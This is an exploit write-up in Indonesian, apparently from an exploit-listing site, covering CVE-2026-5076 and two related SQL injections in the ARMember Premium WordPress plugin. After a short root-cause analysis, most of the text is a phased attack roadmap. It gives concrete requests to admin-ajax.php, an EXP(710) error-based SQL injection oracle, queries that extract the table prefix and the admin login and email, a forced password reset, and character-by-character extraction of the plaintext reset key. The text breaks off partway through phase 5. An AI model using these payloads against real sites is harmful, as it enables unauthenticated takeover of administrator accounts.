Share
## https://sploitus.com/exploit?id=PACKETSTORM:222633
<div align="center">
    
    # โ˜ ๏ธ CVE-2026-5076
    
    ### ARMember Premium <= 7.3.1
    
    ### Insecure Password Reset Mechanism โ†’ Full Admin Account Takeover
    
    ![](https://img.shields.io/badge/CVE-2026--5076-CRITICAL-red?style=for-the-badge)
    ![](https://img.shields.io/badge/CVSS-9.8-ff0000?style=for-the-badge)
    ![](https://img.shields.io/badge/Type-Unauthenticated-blue?style=for-the-badge)
    ![](https://img.shields.io/badge/Chain-7_Phases-9cf?style=for-the-badge)
    ![](https://img.shields.io/badge/ARMember-7.3.1-orange?style=for-the-badge)
    
    **Plaintext Password Reset Keys Stored in Database + SQL Injection = Complete Admin Takeover**
    
    </div>
    
    ---
    
    ## ๐Ÿ“‹ Informasi Kerentanan
    
    | Item | Detail |
    |---|---|
    | **CVE ID** | CVE-2026-5076 |
    | **Plugin** | ARMember โ€“ Membership Plugin & Content Restriction |
    | **Versi Terpengaruh** | Premium <= 7.3.1 |
    | **Versi Patched** | 7.3.2 |
    | **CVSS Score** | 9.8 Critical |
    | **CWE** | CWE-640: Weak Password Recovery |
    | **Tipe** | Insecure Password Reset Mechanism โ†’ Plaintext Key Storage |
    | **Vektor Serangan** | Network / Remote / Unauthenticated (via SQLi chain) |
    | **Instalasi Aktif** | 30,000+ (Premium) |
    | **Penemu** | Wordfence Threat Intelligence |
    | **Tanggal Publikasi** | 3 Juni 2026 |
    
    ### CVE Terkait (Same Advisory)
    
    | CVE | Tipe | Severity |
    |---|---|---|
    | **CVE-2026-5076** | Insecure Password Reset โ€” Plaintext Key Storage | 9.8 Critical |
    | **CVE-2026-5073** | Unauthenticated SQL Injection (ORDER BY) | 9.8 Critical |
    | **CVE-2026-5074** | Unauthenticated SQL Injection (WHERE) | 9.8 Critical |
    
    ---
    
    ## ๐ŸŽฏ Ringkasan
    
    Tiga kerentanan kritis pada plugin WordPress **ARMember Premium <= 7.3.1** yang jika dirantai bersama memungkinkan **pengambilalihan akun administrator secara penuh tanpa autentikasi**:
    
    1. **CVE-2026-5076** โ€” Password reset key disimpan dalam **plaintext** di `wp_usermeta` (`arm_reset_password_key`), bukan di-hash seperti standar WordPress
    2. **CVE-2026-5073** โ€” SQL Injection pada parameter `order` di AJAX handler `arm_directory_paging_action()`
    3. **CVE-2026-5074** โ€” SQL Injection pada parameter `filter` di AJAX handler `arm_directory_paging_action()`
    
    **Konsekuensi langsung CVE-2026-5076**: Siapapun dengan akses baca ke database (via SQLi, backup exposure, dll) dapat membaca password reset key dalam bentuk plaintext dan langsung menggunakannya untuk mereset password akun manapun โ€” tanpa perlu cracking.
    
    ---
    
    ## ๐Ÿ”ฌ Analisis Teknis
    
    ### Root Cause #1: Plaintext Key Storage (CVE-2026-5076)
    
    WordPress standar menyimpan password reset key di kolom `user_activation_key` dalam bentuk **hashed** menggunakan `wp_hash()`. ARMember menyimpan salinan key yang sama di `wp_usermeta` dengan meta_key `arm_reset_password_key` โ€” namun dalam bentuk **PLAINTEXT**:
    
    ```php
    // FILE: armember-membership/core/class.arm_member_forms.php
    // Fungsi: arm_lost_password_action()
    
    // WordPress menyimpan HASHED key (aman)
    $key = wp_generate_password(20, false);
    $wp_key = $wpdb->get_var(
        $wpdb->prepare("SELECT user_activation_key FROM $wpdb->users 
                         WHERE user_login=%s", $user_login)
    );
    
    // ARMember menyimpan PLAINTEXT key (VULNERABLE!)
    update_user_meta($user_id, 'arm_reset_password_key', $wp_key);
    //                                                    ^^^^^^
    //                              Ini adalah key ASLI yang bisa langsung dipakai
    ```
    
    **Masalah kritis**: `$wp_key` di sini adalah key yang dihasilkan oleh `wp_generate_password(20, false)` โ€” 20 karakter alfanumerik. WordPress meng-hash key ini sebelum menyimpan di `user_activation_key`, tapi ARMember menyimpannya **sebelum hashing** atau menyimpan salinan terpisah yang **tidak di-hash**.
    
    ### Root Cause #2: Key Persistence Bug
    
    Ketika `get_password_reset_key()` dipanggil (WordPress core), key baru di-generate dan di-hash. Namun fungsi ini **TIDAK mengupdate** `arm_reset_password_key`:
    
    ```php
    // WordPress core: get_password_reset_key($user)
    // - Generate key baru
    // - Hash key โ†’ simpan di user_activation_key
    // - Return key plaintext
    // - TAPI: arm_reset_password_key TIDAK diupdate!
    ```
    
    Akibatnya, **key plaintext lama tetap tersimpan selamanya** di `arm_reset_password_key` bahkan setelah user melakukan password reset. Key ini bisa digunakan berulang kali sampai meta key secara eksplisit dihapus.
    
    ### Root Cause #3: SQL Injection (CVE-2026-5073/5074)
    
    AJAX handler `arm_directory_paging_action()` memiliki nonce check via `arm_check_user_cap()`, tapi parameter `order` dan `filter` langsung masuk ke SQL query tanpa sanitasi:
    
    ```php
    // FILE: armember-membership/core/class.arm_member_forms.php
    // Fungsi: arm_directory_paging_action()
    
    // Nonce check (dibutuhkan nonce valid)
    $nonce_check = $this->arm_check_user_cap();
    
    // ORDER BY injection โ€” langsung ke SQL tanpa sanitasi!
    $orderby = "u.{$arm_member} {$order_dir}";
    // $order_dir dari $_POST['order'] โ†’ LANGSUNG ke ORDER BY
    
    // WHERE injection via filter
    if (!empty($filter)) {
        $where .= " AND " . $filter; // โ† LANGSUNG concatenation!
    }
    ```
    
    **Eksploitasi ORDER BY**: Parameter `order` dimasukkan ke klausa `ORDER BY` SQL. Karena tidak ada sanitasi, attacker bisa inject subquery:
    
    ```sql
    -- Payload SQLi via parameter order
    ORDER BY u.ID ASC, IF(COND, 1, EXP(710))
    
    -- COND = TRUE  โ†’ IF returns 1 โ†’ ORDER BY 1 โ†’ response normal (besar)
    -- COND = FALSE โ†’ IF returns EXP(710) โ†’ MySQL overflow ERROR โ†’ response 90B
    ```
    
    **Oracle ini immune terhadap network latency** karena membedakan TRUE/FALSE berdasarkan error vs success, bukan waktu respons.
    
    ---
    
    ## โ›“๏ธ Attack Chain Roadmap
    
    ```
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘                    CVE-2026-5076 FULL CHAIN ATTACK ROADMAP                        โ•‘
    โ•‘              ARMember Premium <= 7.3.1 โ†’ Unauthenticated Admin Takeover             โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    
     โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
     โ”‚  PHASE 1: RECONNAISSANCE                                                       โ”‚
     โ”‚  "Identifikasi target, versi, dan attack surface"                               โ”‚
     โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
     โ”‚                                                                                 โ”‚
     โ”‚  1a. Deteksi ARMember                                                          โ”‚
     โ”‚      โ”œโ”€ GET / โ†’ cari string: "arm_", "armember", "ARMember"                    โ”‚
     โ”‚      โ”œโ”€ GET /wp-json/ โ†’ cari armember di response                              โ”‚
     โ”‚      โ”œโ”€ Cookie: arm_* indicates ARMember active                                 โ”‚
     โ”‚      โ””โ”€ Version fingerprint: arm_css_version, arm_js_version                    โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  1b. Temukan Directory Page (MUST have arm_directory_form_container)            โ”‚
     โ”‚      โ”œโ”€ Method 1: WP Search โ†’ GET /?s=members โ†’ parse links                   โ”‚
     โ”‚      โ”‚   โ””โ”€ Filter: skip /feed/, /rss2/, .xml, /atom/                         โ”‚
     โ”‚      โ”œโ”€ Method 2: Direct Path Probe โ†’ /directory/, /members/, /community/      โ”‚
     โ”‚      โ”œโ”€ Method 3: Sitemap โ†’ /sitemap.xml โ†’ parse URLs                          โ”‚
     โ”‚      โ””โ”€ Method 4: REST API โ†’ /wp-json/wp/v2/pages โ†’ search ARM shortcode       โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  1c. Ekstrak nonce + template_id (BERPASANGAN di form yang sama)                โ”‚
     โ”‚      โ”œโ”€ <form class="arm_directory_form_container">                             โ”‚
     โ”‚      โ”‚   โ”œโ”€ <input name="arm_wp_nonce" value="NONCE_HERE">                     โ”‚
     โ”‚      โ”‚   โ””โ”€ <input name="template_id" value="TID_HERE">                        โ”‚
     โ”‚      โ””โ”€ Nonce = wp_create_nonce('arm_wp_nonce') โ€” tied to session              โ”‚
     โ”‚          โ””โ”€ Bukan per-template_id, tapi per-user session                        โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  OUTPUT: nonce, template_id, version, directory_url                             โ”‚
     โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                    โ”‚
                    โ–ผ
     โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
     โ”‚  PHASE 2: SQL INJECTION                                                        โ”‚
     โ”‚  "Konfirmasi SQLi via error-based boolean oracle"                               โ”‚
     โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
     โ”‚                                                                                 โ”‚
     โ”‚  2a. Kirim AJAX request dengan nonce + template_id                              โ”‚
     โ”‚      POST /wp-admin/admin-ajax.php                                              โ”‚
     โ”‚      action=arm_directory_paging_action                                         โ”‚
     โ”‚      arm_wp_nonce=<NONCE>                                                       โ”‚
     โ”‚      template_id=<TID>                                                          โ”‚
     โ”‚      type=directory                                                              โ”‚
     โ”‚      order=ASC                                                                   โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  2b. Error-Based Boolean Oracle (IMMUNE LATENCY!)                              โ”‚
     โ”‚      โ”œโ”€ TRUE:  order=ASC,IF(1=1,1,EXP(710))  โ†’ response ~10KB (normal)        โ”‚
     โ”‚      โ”œโ”€ FALSE: order=ASC,IF(1=2,1,EXP(710))  โ†’ response ~90B (EXP overflow)   โ”‚
     โ”‚      โ””โ”€ Delta: ~100x โ€” tidak terpengaruh network jitter                         โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  2c. Kenapa EXP(710)?                                                          โ”‚
     โ”‚      โ”œโ”€ EXP(710) โ†’ MySQL double overflow โ†’ ERROR                                โ”‚
     โ”‚      โ”œโ”€ Error = response body ~90B (cepat, konsisten)                           โ”‚
     โ”‚      โ””โ”€ Lebih reliable daripada SLEEP-based oracle di site lambat               โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  2d. Oracle Alternatif (untuk site tanpa error output)                          โ”‚
     โ”‚      โ”œโ”€ Time-based: IF(COND, SLEEP(3), u.ID)                                   โ”‚
     โ”‚      โ”‚   โ”œโ”€ TRUE = slow (SLEEP), FALSE = fast (ORDER BY ID)                    โ”‚
     โ”‚      โ”‚   โ””โ”€ Rentan terhadap network latency, baseline shifting                 โ”‚
     โ”‚      โ””โ”€ 3-State: IF(COND, SLEEP(N), u.ID) vs baseline                         โ”‚
     โ”‚          โ”œโ”€ TRUE  = slow + big response                                         โ”‚
     โ”‚          โ”œโ”€ FALSE = fast + big response (ORDER BY valid ID)                    โ”‚
     โ”‚          โ””โ”€ ERROR = fast + small response (ORDER BY 0)                         โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  OUTPUT: sqli_confirmed, sz_true, sz_false, oracle_type                         โ”‚
     โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                    โ”‚
                    โ–ผ
     โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
     โ”‚  PHASE 3: DATABASE ENUMERATION                                                  โ”‚
     โ”‚  "Ekstrak table prefix, admin user, dan metadata"                               โ”‚
     โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
     โ”‚                                                                                 โ”‚
     โ”‚  3a. Deteksi Table Prefix (CRITICAL โ€” prefix non-standard umum!)                โ”‚
     โ”‚      โ”œโ”€ Method 1: INFORMATION_SCHEMA (paling reliable)                          โ”‚
     โ”‚      โ”‚   โ”œโ”€ (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES                   โ”‚
     โ”‚      โ”‚   โ”‚  WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%users'          โ”‚
     โ”‚      โ”‚   โ”‚  LIMIT 1) IS NOT NULL                                                โ”‚
     โ”‚      โ”‚   โ””โ”€ Ekstrak prefix: SUBSTRING(TABLE_NAME,1,LENGTH-5)                   โ”‚
     โ”‚      โ”œโ”€ Method 2: Brute-force prefix                                            โ”‚
     โ”‚      โ”‚   โ””โ”€ wp_, wordpress_, wp_2_, site_, db_, blog_, web_                    โ”‚
     โ”‚      โ””โ”€ Method 3: Per-row oracle via alias u/um                                โ”‚
     โ”‚          โ””โ”€ Main query sudah JOIN wp_users u, wp_usermeta um                   โ”‚
     โ”‚              โ””โ”€ Tapi TABLE NAME di subquery = prefix + "users"                  โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  3b. Ekstrak Admin User (4-Method Fallback)                                     โ”‚
     โ”‚      โ”œโ”€ Method 1: wp_capabilities LIKE '%administrator%'                       โ”‚
     โ”‚      โ”‚   โ””โ”€ SELECT user_login FROM PREFIX_users WHERE ID=                       โ”‚
     โ”‚      โ”‚      (SELECT user_id FROM PREFIX_usermeta                                โ”‚
     โ”‚      โ”‚       WHERE meta_key='PREFIX_capabilities'                               โ”‚
     โ”‚      โ”‚       AND meta_value LIKE '%administrator%' LIMIT 1)                     โ”‚
     โ”‚      โ”œโ”€ Method 2: wp_user_level = '10'                                         โ”‚
     โ”‚      โ”‚   โ””โ”€ Meta key PREFIX_user_level dengan value '10'                        โ”‚
     โ”‚      โ”œโ”€ Method 3: Per-row um alias for capabilities                             โ”‚
     โ”‚      โ”‚   โ””โ”€ um.meta_key='PREFIX_capabilities' AND um.meta_value LIKE '%admin%'  โ”‚
     โ”‚      โ””โ”€ Method 4: First user fallback (ORDER BY ID LIMIT 1)                    โ”‚
     โ”‚          โ””โ”€ Pada site kecil, user pertama = admin                               โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  3c. Ekstrak Admin Email                                                        โ”‚
     โ”‚      โ””โ”€ SELECT user_email FROM PREFIX_users WHERE user_login='ADMIN'            โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  3d. Cek arm_reset_password_key Feature                                         โ”‚
     โ”‚      โ”œโ”€ (SELECT COUNT(*) FROM PREFIX_usermeta                                   โ”‚
     โ”‚      โ”‚  WHERE meta_key='arm_reset_password_key') > 0                            โ”‚
     โ”‚      โ”œโ”€ Jika FALSE โ†’ fitur tidak ada (v4.x) atau belum ada reset               โ”‚
     โ”‚      โ””โ”€ Jika TRUE tapi 0 values โ†’ fitur ada, perlu trigger (Phase 4)           โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  OUTPUT: prefix, admin_login, admin_email, arm_key_feature_exists               โ”‚
     โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                    โ”‚
                    โ–ผ
     โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
     โ”‚  PHASE 4: PASSWORD RESET TRIGGER                                                โ”‚
     โ”‚  "Paksa target menyimpan plaintext key di database"                             โ”‚
     โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
     โ”‚                                                                                 โ”‚
     โ”‚  4a. ARMember Forgot-Password (SET arm_reset_password_key = PLAINTEXT)          โ”‚
     โ”‚      โ”œโ”€ POST /wp-admin/admin-ajax.php                                           โ”‚
     โ”‚      โ”‚   action=arm_lost_password                                                โ”‚
     โ”‚      โ”‚   arm_wp_nonce=<NONCE>                                                    โ”‚
     โ”‚      โ”‚   user_login=<ADMIN_LOGIN>                                                โ”‚
     โ”‚      โ”œโ”€ Hasil: arm_reset_password_key = plaintext 20-char key                    โ”‚
     โ”‚      โ””โ”€ Masalah: banyak site return "0" (action tidak terdaftar)                โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  4b. WordPress Standard Lostpassword (SET user_activation_key = HASHED)         โ”‚
     โ”‚      โ”œโ”€ POST /wp-login.php?action=lostpassword                                  โ”‚
     โ”‚      โ”‚   user_login=<ADMIN_LOGIN>                                                โ”‚
     โ”‚      โ”‚   wp-submit=Get New Password                                              โ”‚
     โ”‚      โ”œโ”€ Hasil: user_activation_key = hashed key (TIDAK bisa dipakai langsung)   โ”‚
     โ”‚      โ””โ”€ Email terkirim ke admin (jika mail server aktif)                        โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  4c. WP Lostpassword via Email                                                   โ”‚
     โ”‚      โ””โ”€ Jika user_login gagal, coba dengan admin_email                         โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  4d. Verifikasi Key Tersimpan (via SQLi)                                        โ”‚
     โ”‚      โ”œโ”€ Cek arm_reset_password_key (PLAINTEXT โ€” CVE-2026-5076)                  โ”‚
     โ”‚      โ”‚   โ””โ”€ (SELECT meta_value FROM PREFIX_usermeta                             โ”‚
     โ”‚      โ”‚      WHERE meta_key='arm_reset_password_key'                              โ”‚
     โ”‚      โ”‚      AND user_id=ADMIN_ID LIMIT 1)                                       โ”‚
     โ”‚      โ””โ”€ Cek user_activation_key (HASHED โ€” fallback)                             โ”‚
     โ”‚          โ””โ”€ LENGTH((SELECT user_activation_key FROM PREFIX_users                โ”‚
     โ”‚              WHERE user_login='ADMIN')) > 0                                      โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  โš ๏ธ PENTING: WP lostpassword TIDAK menghasilkan arm_reset_password_key!         โ”‚
     โ”‚     Hanya form forgot-password ARMember yang menyimpan plaintext key.           โ”‚
     โ”‚     Versi < 5.x TIDAK memiliki fitur arm_reset_password_key sama sekali.       โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  OUTPUT: arm_reset_password_key (plaintext) atau user_activation_key (hashed)   โ”‚
     โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                    โ”‚
                    โ–ผ
     โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
     โ”‚  PHASE 5: KEY EXTRACTION                                                        โ”‚
     โ”‚  "Baca plaintext password reset key dari database via SQLi"                     โ”‚
     โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
     โ”‚                                                                                 โ”‚
     โ”‚  5a. Ekstrak arm_reset_password_key (CVE-2026-5076 โ€” PLAINTEXT!)               โ”‚
     โ”‚      โ”œโ”€ Binary search per-karakter via SQLi:                                    โ”‚
     โ”‚      โ”‚   โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”                โ”‚
     โ”‚      โ”‚   โ”‚  Char 1: SUBSTRING(meta_value,1,1) > 'M' ?         โ”‚                โ”‚
     โ”‚      โ”‚   โ”‚  Char 1: SUBSTRING(meta_value,1,1) > 'T' ?         โ”‚                โ”‚
     โ”‚      โ”‚   โ”‚  ...binary search converges...                       โ”‚                โ”‚
     โ”‚      โ”‚   โ”‚  Char 1 = 'X' โœ“                                      โ”‚                โ”‚
     โ”‚      โ”‚   โ”‚  Char 2: SUBSTRING(meta_value,2,1) > 'a' ?         โ”‚                โ”‚
     โ”‚      โ”‚   โ”‚  ...repeat for 20 characters...                      โ”‚                โ”‚
     โ”‚      โ”‚   โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜                โ”‚
     โ”‚      โ”œโ”€ Key length: 20 karakter alfanumerik (wp_generate_password(20, false))    โ”‚
     โ”‚      โ””โ”€ Extraction time: ~7 queries ร— 20 chars = ~140 requests                  โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  5b. Fallback: Ekstrak user_activation_key (HASHED โ€” tidak langsung pakai)     โ”‚
     โ”‚      โ””โ”€ Format: hash keluaran wp_hash() โ€” perlu cracking atau bypass           โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  5c. Key Persistence (BUG KRITIS!)                                              โ”‚
     โ”‚      โ”œโ”€ get_password_reset_key() TIDAK update arm_reset_password_key            โ”‚
     โ”‚      โ”œโ”€ Key plaintext TETAP ADA meskipun user sudah reset password              โ”‚
     โ”‚      โ””โ”€ Key bisa dipakai BERULANG KALI sampai meta key dihapus                  โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  OUTPUT: arm_key (plaintext 20-char) atau hashed_key (fallback)                 โ”‚
